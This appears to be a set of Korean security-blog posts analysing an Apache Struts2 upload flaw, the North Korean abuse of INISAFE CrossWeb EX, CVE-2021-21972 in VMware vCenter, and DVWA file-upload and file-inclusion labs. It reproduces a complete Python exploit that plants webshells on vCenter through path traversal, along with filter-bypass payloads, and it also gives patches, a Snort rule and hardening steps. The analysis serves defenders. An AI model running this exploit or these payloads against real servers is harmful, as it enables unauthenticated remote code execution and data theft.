> Action 클래스는 특정 앤드포인트에서 사용자의 요청을 처리하는데 사용됨

> 해당 취약점은 파일 업로드와 관련된 "/upload.action" 앤드포인트에서 발생

 

- ActionSupport를 상속받은 Upload 클래스에서 파일 업로드에 대한 파라미터 구성 확인 가능

> 정의된 파일 업로드에 대한 3가지 속성 값을 통해 파일 업로드를 처리

[사진 4] Upload 클래스

- 파일 업로드 시 HTTP 요청에서 각각의 파라미터명과 속성은 다음과 같이 매칭됨

> upload 파라미터를 변조하고, 원격 명령 실행을 위한 내용을 추가해 기존 파일의 내용을 덮어쓸 수 있음

> 이후 악성코드를 포함한 파일 내용을 uploadFileName을 추가하여 임의의 경로를 지정한 파일명으로 덮어씀

[사진 5] 파일 업로드 관련 요청에서 파라미터와 속성 매칭
[사진 6] 요청 변경 전 후 비교

2. 취약점 상세

2.1 파일 업로드 요청 - HttpParameters.java (HTTP 요청 파라미터를 처리)

- 파일 업로드 요청 수신 시 HttpParameters 클래스의 get(), remove(), contains() 메서드는 파일 업로드와 관련된 파라미터에 대한 비교를 수행

> 이때 취약한 버전의 HttpParameters 클래스는 파라미터에 대한 대소문자를 구분

> name="upload"name="Upload"의 경우 대소문자를 구분하기 때문에 각각 upload와 Uplaod라는 파라미터가 생성

[사진 7] HttpParameters

2.2 파일 업로드 파라미터 재정의 - 파일 내용 변조

- 취약한 버전의 HttpParameters 클래스는 대소문자를 구분해 기존의 파라미터에 대한 재정의가 가능

> ParametersInterceptor 클래스의 setParameters() 메서드에서 진행

> setParameters() 메서드는 TreeMap 구조로 파일 업로드를 처리하며, Java의 TreeMap은 숫자 > 대문자 > 소문자 > 한글 순으로 정렬

> 따라서, 파라미터 값으로 upload와 Upload가 존재한다면, Upload 파라미터의 파일 내용을 우선 출력

> 공격자는 파라미터 값을 Upload로 변조하고 웹쉘 스크립트를 삽입 및 전송해 기존 파일 내용을 덮어쓸 수 있음

※ TreeMap 구조
- Java의 java.util 패키지에서 제공되는 컬렉션 클래스 중 하나
- 키-값 쌍(Key-Value Pair)의 데이터를 중복 없이 저장하며 키를 정렬된 순서(오름차순)로 유지

[사진 8] setParameters()

2.3 파일 업로드 - FileUploadInterceptor.java

- struts-default.xml은 Apche Struts2에서 기본적으로 제공하는 설정 파일로, 사용자 요청을 지원하는 Interceptor를 정의

> 사용자로부터 파일 업로드 요청이 들어오면, FileUploadInterceptor 클래스는 multiWrapper를 통해 inputName 값을 기반으로 3가지 속성값을 가져와 파일 업로드 요청 처리 및 업로드 파일 서버에 저장

> 3가지 속성 값 : 파일 객체(File), 파일명(FileNme), 컨텐츠 타입(FileContent Type)

> 이때, 서버에 저장된 파일의 파일명은 setUploadFileName() 메소드에 전달

 

2.4 파일 업로드 파라미터 재정의 - 파일명 변조

- 서버에 업로드 된 악성파일에 접근하기 위해 서버에 업로드된 파일명을 나타내는 파라미터를 재정의

> 서버에 업로드된 파일의 파일명은 setUploadFileName()를 통해 처리되며, uploadFileName을 재정의해 임의의 경로를 초함한 파일명으로 변조 가능

[사진 9] 취약점 동작 과정

- 벤더사는 취약점에 대한 패치 배포

> HTTP 요청 파라미터 처리 과정에서 대소문자 구분하지 않도록 equalsIngoreCase() 메서드 추가

> 동일한 파라미터가 있는 경우 제거하는 remove() 메서드 추가

3. 출처

[1] https://www.skshieldus.com/kor/media/newsletter/insight.do (SK쉴더스 EQST insight 리포트 2024년 2월호)

1. INISAFE CrossWeb EX V3

- 이니텍에서 제작하였으며, 공동인증서를 사용해 로그인하거나 전자서명할 때 쓰이는 S/W

- 국내 금융기관 및 쇼핑몰 등 다수 홈페이지에서 사용자 인증서 처리를 위해 주로 사용

- 사용자가 홈페이지에 접속하면 자동 설치됨

 

2. 취약점

- 작년말 북한이 해당 S/W의 취약점을 악용해 PC 해킹 및 악성코드 유포 등 해킹한 사실이 국정원·경찰청·KISA 등 유관기관에 의해 적발

- 국가·공공기관 및 방산·바이오업체 등 국내외 주요기관 60여곳의 PC 210여대를 해킹한 사실을 확인

- 해킹에 악용된 S/W는 국내외 1,000만대 이상의 기관·업체·개인 PC에 설치되어 있는 것으로 추정

- 대규모 피해 확산 방지를 위해 관계기관과 합동으로 관련 사실을 공지

영향받는 버전
- INISAFE CrossWeb EX V3 3.3.2.40 이하 버전

 

2.1 취약점 상세

- 해당 취약점은 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것으로 확인됨

피해 시스템의
inisafecrosswebexsvc.exe
특징
- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일
- 정상 파일과 같은 해시값을 가짐 (MD5:4541efd1c54b53a3d11532cb885b2202)
- INITECH사에 의해 정상 서명된 파일
- INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않음
- 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행

 

- 악성코드인 SCSKAppLink.dll이 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작

※ DLL 인젝션: 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술

- SCSKAppLink.dll에는 호스트 프로세스에 따라 분기하는 코드가 포함

 

[사진 1] 분기 코드

 

- 분기 코드는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 특정 C2에 접속하여 추가 악성코드를 다운 및 실행

※ svchost.exe, rundll32.exe, notepad.exe에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않음

 

[사진 2] 호스트가 inisafecrosswebexsvc.exe인 경우 접속하는 C2 주소

 

- C2에 접속하여 임시폴더에 악성코드 main_top[1].htm 다운로드 후 특정 경로에 복사

> 다운로드 경로 : c:\users\<사용자>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm

> 복사된 경로 : C:\Users\Public\SCSKAppLink.dll

 

[사진 3] 동작 과정

 

3. 대응방안

① 서비스 운영자: 이니텍를 통해 최신버전 교체_INISAFE CrossWeb EX V3 3.3.2.41

 

② 제품 사용자: 취약한 버전이 설치되어 있는 경우 제거 후 최신버전 업데이트를 진행

> [제어판]-[프로그램]-[프로그램 및 기능]에서 INISAFE CrossWeb EX V3 버전 확인 후 제거 클릭

> 아래 링크를 참고하여, 운영체제에 맞는 최신 버전의 INISAFE CrossWeb EX V3를 설치

※ Windows 클라이언트(v3.3.2.41_32bit) : http://demo.initech.com/initech/crosswebex_pack/3.3.2.41/INIS_EX_SHA2_3.3.2.41.exe

 

③ 침해지표 IoC 보안 장비 적용 [3]

 

3.1 기타사항

① 국정원 조치

> 올해 1월 긴급 대응에 착수, 해당 악성코드의 작동 원리 등에 대한 상세 분석을 완료

> 해당 분석 자료를 근거로 A사와 협조해 실제 공격-방어 시현을 진행하는 등 보안 패치 개발을 완료

> 현재 해당 프로그램을 사용 중인 공공·금융기관을 대상으로 관계기관들과 함께 보안 패치를 진행 중

> 국민 대상 보안 프로그램을 최신 버전으로 신속하게 업데이트 강조

> 23.04.05일 판교 사이버안보협력센터에서 ‘금융보안 SW 침해사고 방지 를 위한 유관기관 간담회’를 개최

※ 과학기술정보통신부·경찰청·KISA·금융감독원·금융보안원 등 정부기관 및 12개 금융보안 SW 제조사가 참여

※ 최신 해킹사례를 공유하고, 유사 사례 재발을 막기 위한 대책을 논의할 계획

>  관계기관과의 적극적인 사이버위협 정보 공유 및 협력을 통해 북한의 해킹위협에 선제적으로 대응할 것

 

② 이니텍 조치

> 지난 1월 독일 보안 전문가 블라디미르 팔란트의 게시글 이미지에 자사 제품이 있어 취약점 점검 및 취약점 확인

> 취약점 발견 후 이를 보완하는 와중에 국정원에서 연락이 옴

> 2월20일 문제가 된 취약점을 완화하는 보안패치 개발을 완료해 배포 중_현재 40%가량의 기업들이 패치를 완료한 상태

 

4. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71030&menuNo=205020
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=1#LINK
[3] https://asec.ahnlab.com/ko/33706/
[4] https://asec.ahnlab.com/ko/50727/
[5] https://www.boannews.com/media/view.asp?idx=115670
[6] https://www.boannews.com/media/view.asp?idx=115658
[7] https://www.ddaily.co.kr/news/article/?no=260579
[8] https://www.news1.kr/articles/5000945

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점

 파일 업로드 후 원격 명령 실행으로 이어질 수 있음

 

영향받는 버전
- VMware vCenter Server 7.0 U1c 이전 7.x 버전
- VMware vCenter Server 6.7 U3I 이전 6.7 버전
- VMware vCenter Server 6.5 U3n 이전 6.5 버전
- VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전

[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")

2. 분석

2.1 원인

- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도

- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능

[사진 3] uploadova 플러그인 코드의 취약한 부분

 

- [사진 3]의 코드는 다음과 같은 문제를 유발시킴

① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음

② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음

∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능

 

[자신 4] PoC 화면

2.2 PoC

- 공개된 PoC를 확인 시 다음을 알 수 있음

① POST 메소드 사용

② /ui/vropspluginui/rest/services/uploadova URL 요청

③ .tar 확장자 파일을 업로드 시도

 

※ 대상 서버가 Windows인 경우

- .jsp 형식의 웹 쉘 등 악의적인 파일을

- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)

- 파일에 접근 및 원격 코드 실행

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text) 

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()
    
    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)

 

3. 대응방안

3.1 서버측면

① 최신 버전의 업데이트 적용

- VMware vCenter Server 7.0 U1c
- VMware vCenter Server 6.7 U3I
- VMware vCenter Server 6.5 U3n
- VMware Cloud Foundation (vCenter 서버) 4.2
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2

 

3.2 네트워크 측면

① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-21972

- https://www.shodan.io/search?query=http.title:%22ID_VC_Welcome%22

https://reconshell.com/cve-2021-21972-vcenter-rce-vulnerability-analysis/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925

https://kb.vmware.com/s/article/82374

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/horizon3ai/CVE-2021-21972/blob/master/CVE-2021-21972.py

 

 

File Upload 취약점_webshell

1. File Upload 취약점 - 주로 게시판 등에서 파일 업로드 기능을 악용하여 시스템 권한을 획득 - 공격자는 서버 사이드 스크립트(ASP, JSP, PHP 등)을 이용하여 웹쉘(WebShell)을 제작 및 업로드 웹쉘(Web

ggonmerr.tistory.com

 

File Inclusion (DVWA실습)

1. File Inclusion - PHP로 구현된 웹 서버를 대상으로 PHP의 include 기능을 악용하는 방식 - PHP는 incude를 이용해 다른 PHP 파일을 현재 웹 페이지에 포함시킬 수(or 불러올 수) 있음 - 공격자는 악의적인 PH

ggonmerr.tistory.com

 

- File Upload 취약점_webshell 글 "2.4 File Upload (High Level)"에서 필터링 우회를 웹쉘 확장자에 jpg를 추가해 업로드

- 업로드한 웹쉘에 접근 시 jpg 확장자로 되어있어 웹쉘이 실행되지 않음

 

- File Inclusion 공격을 통해 웹쉘을 웹 페이지에 직접 삽입하여 File Upload (High Level) 필터링 우회가 가능함

- DVWA는 High Level로 설정되어 있기 때문에 File Inclusion의 High Level에 대한 우회도 필요함

 

[캡쳐 1] File Upload (High Level) 필터링 우회

- File Upload (High Level)에서 적용되는 필터링을 우회하기 위해 버프슈트를 통한 값 변경

- 확장자 검사를 우회하기 위해 확장자명을 .php.jpg로 변경 및 getimagesize() 우회를 위해 GIF89a 추가

 

- File Inclusion (High Level)에서 적용되는 필터링을 우회하기 위해 page 매개변수의 파라미터 변경

- 파라미터의 명이 file로 시작되도록 변경

 

- 현재 디렉터리의 위치를 모르기 때문에, 상위 디렉터리로 이동하기 위해 ../ 충분히 입력

 

- 최종 URL : hxxp://DVWA 주소/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg

[캡쳐 2] File Upload (High Level) 우회

 

- 명령어 입력 후 Submit Query 시 ERROR 반환

[캡쳐 3] 에러 반환

 

- URL에 Query 파라미터로 명령을 입력해 전달 시 명령 수행 결과를 반환

[캡쳐 4] 공격 성공

 

- File Upload 공격과 File Inclusion 공격을 혼합해 File Upload High Level을 우회함

- 특정 기법만을 방어하기 보다는 다양한 방안을 고려해야 함

1. File Inclusion

- PHP로 구현된 웹 서버를 대상으로 PHP의 include 기능을 악용하는 방식

- PHP는 incude를 이용해 다른 PHP 파일을 현재 웹 페이지에 포함시킬 수(or 불러올 수) 있음

- 공격자는 악의적인 PHP 파일을 생성해 대상 웹 페이지에 include의 파라미터로 전송해 악성 파일을 실행시키거나, 시스템의 로컬 파일에 접근한다.

- 시스템의 로컬 파일에 접근하는 LFI(Local File Inclusion) 방식과, 외부 파일을 불러오는 RFI(Remote File Inclusion) 방식이 존재

 

2. DVWA 실습 - Low Level

2.1 RFI 방식

[캡쳐 1] 최초 페이지

- file1.php, file2.php, file3.php에 접속 시 page 매개변수의 인자값만 변경됨

[캡쳐 2] 악성 PHP 파일 생성

- 웹에서 접근이 가능하도록 /var/www/html에 악성 PHP 파일 생성

[캡쳐 3] /etc/passwd 파일 노출

- 취약한 웹 페이지에서 page 매개변수로 악성 PHP 파일 경로를 전달하면, 해당 PHP이 삽입되어 실행됨

 

2.2 LFI

[캡쳐 4] /etc/passwd 파일 노출

- 로컬 시스템의 파일에 접근 및 파일 내용 노출

 

3. DVWA 실습 - Medium

[캡쳐 5] RFI 공격 실패

- 취약한 웹 페이지에서 RFI를 시도해 보았을 때 공격에 실패한 것을 확인

[캡쳐 6] 입력값 필터링

- page 매개변수로 전달 받은 값에서 http://, https://(File Inclusion 대응), ../, ..\(Directory Traversal 대응)를 공백으로 치환을 수행

[캡쳐 7] 필터링 우회

- http:// 사이에 http://를 입력(hthttp://tp://) 시 필터링에 의해 http://가 공백으로 치환되어 최종적으로 http://가 완성됨.

 

4. DVWA 실습 - High Level

[캡쳐 8] RFI 공격 실패

- page 매개변수를 통해 RFI를 시도하면 ERROR가 출력되며, 필터링을 우회하기 위해 hthttp://tp://를 전달하여도 ERROR가 출력됨.

[캡쳐 9] 입력값 필터링

- 파라미터의 명이 file로 시작하지 않거나, include.php가 아니면 에러를 반환하도록 필터링이 적용됨.

[캡쳐 9] 필터링 우회

- 파라미터를 file로 시작하고, ../를 충분히 입력해 root 디렉터리로 이동 후 /etc/passwd에 접근 시 파일 내용을 확인할 수 있음

- [캡쳐 9]에 적용된 필터링으로는 Directory Traversal 공격에 대응하지 못함.

 

5. DVWA 실습 - Impossible Level

[캡쳐 10] RFI 공격 실패

- 앞서 확인한 필터링을 우회하기 위한 다양한 방법을 시도해 보았지만 ERROR를 출력함

[캡쳐 11] 입력값 필터링

- 소스코드를 확인해 보면 꼭 필요한 파일만 include 될 수 있도록 파일을 지정

 

6. 대응방안

6.1 RFI

1. 원격지 파일을 열지 못하도록 php.ini(php 환경설정 파일) 수정

- allow_url_fopen = OFF
- allow_url_include = OFF

 

6.2 공통

1. 입력값에 대한 필터링을 강화한다(시큐어 코딩 적용)

- hthttp://tp://, ../ 등 필터링을 우회하지 못하도록 필터링 적용

- 중요정보가 저장된 디렉터리나 파일(ex. /etc/passwd, /etc/shadow 등)에 대한 필터링

 

2. include 관련한 에러를 출력하지 않도록 php.ini 수정

- display_errors = OFF

 

3. 파일 존재 유무를 확인하는 코드 삽입

function check_validation($filename){
if (file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}
else{
echo "접근경로가 올바르지 않습니다.";
exit;
}

 

4.  정기적 로그 분석 진행

 

5. 공격 IP를 탐지 및 차단할 수 있도록 Snort 정책 등 규칙 적용

+ Recent posts